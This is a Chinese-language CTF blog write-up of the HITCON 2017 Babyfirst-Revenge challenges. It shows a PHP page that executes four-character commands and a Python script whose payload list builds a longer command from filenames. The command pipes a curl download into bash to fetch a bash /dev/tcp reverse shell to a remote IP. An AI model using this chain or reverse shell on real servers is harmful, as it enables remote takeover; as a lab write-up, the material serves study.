[HITCON 2017]Babyfirst-Revenge-V2 & [HITCON 2017]Babyfirst-Revenge

[HITCON 2017]Babyfirst-Revenge-V2 & [HITCON 2017]Babyfirst-Revenge

解题步骤

由于v2比较极端,能打v2就能打v1,所以直接分析一波v2。

<?php
    echo $_SERVER['REMOTE_ADDR']."\n";
    $sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

每次传4个参,然后rce。真狠。linux的小trick++。
学习一波wp:https://mengsec.com/2018/10/31/HITCON-2017-babyfirst-revenge-v1-v2/
>x这个命令会在linux当前目录下创建一个x空文件,然后用ls将当前目录下的文件列出来,用>写入到一个新文件中,然后sh直接执行该文件。除此之外,在文件中\可以续写命令。然后这么一波操作,只需要ls将文件按一定顺序写入一个文件,直接sh运行就能getshell。
除此之外,*是直接将当前目录按字母顺序ls,但是如果目录有shell命令,可以直接执行。然后ls -t是将当前目录下的文件按时间顺序列出。如果按时间顺序排序,那我们的命令就很好构建了,所以关键就是执行ls -t。但是由于空格比其他字符的ascii码小所以想正常输出ls -t不太行,而且如果直接用ls>x命令,会把x也输入到x文件里面,会出错,所以只能用*,dir命令=ls,当有文件名为dir的时候,而且在第一位,那么*就会执行dir命令,将后面的文件名输出。既然不能正序,就直接逆序输出。可惜t>s,所以还得找一个小于s的字母选项

-h, –human-readable
with -l, print sizes in human readable format (e.g., 1K 234M 2G)

所以直接来个h就行。那么如何逆序呢?rev可以直接逆序。

当目录中存在rev和v两个文件时,使用*v相当于rev v

这么一波操作,直接搞好ls -th,所以剩下的就简单了。说那么多废话,直接贴脚本,自己分析还好一点(逃)

import requests
import time
url = "http://bab86a10-0cf6-44c8-908a-fde238562c5f.node4.buuoj.cn:81/"

payload = [
    ">dir",
    ">sl",
    ">g\>",
    ">ht-",
    "*>v",
    ">rev",
    "*v>x", # ls -th>g
    ">sh",
    ">ba\\",
    ">\|\\",
    ">16\\",
    ">1\\",
    ">3.\\",
    ">17\\",
    ">6.\\",
    ">9\\",
    ">7.\\",
    ">4\\",
    ">\ \\",
    ">rl\\",
    ">cu\\",
    "sh x",
    "sh g"
]
r = requests.get(url+"?reset=1")
for i in payload:
    print(i)
    time.sleep(0.5)
    r = requests.get(url + "?cmd=" + i)

除此之外,还要在服务器上写一个index.html:

bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇